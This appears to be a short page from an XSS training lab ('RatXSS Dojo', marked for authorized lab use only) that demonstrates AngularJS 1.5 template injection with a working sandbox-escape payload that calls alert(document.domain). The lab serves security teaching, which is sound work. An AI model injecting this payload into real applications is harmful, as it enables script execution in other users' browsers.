This region is compiled by AngularJS 1.5. A template expression escapes to JS: {{constructor.constructor('alert(document.domain)')()}}. (If offline, the CDN will not load - concept still applies.)
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only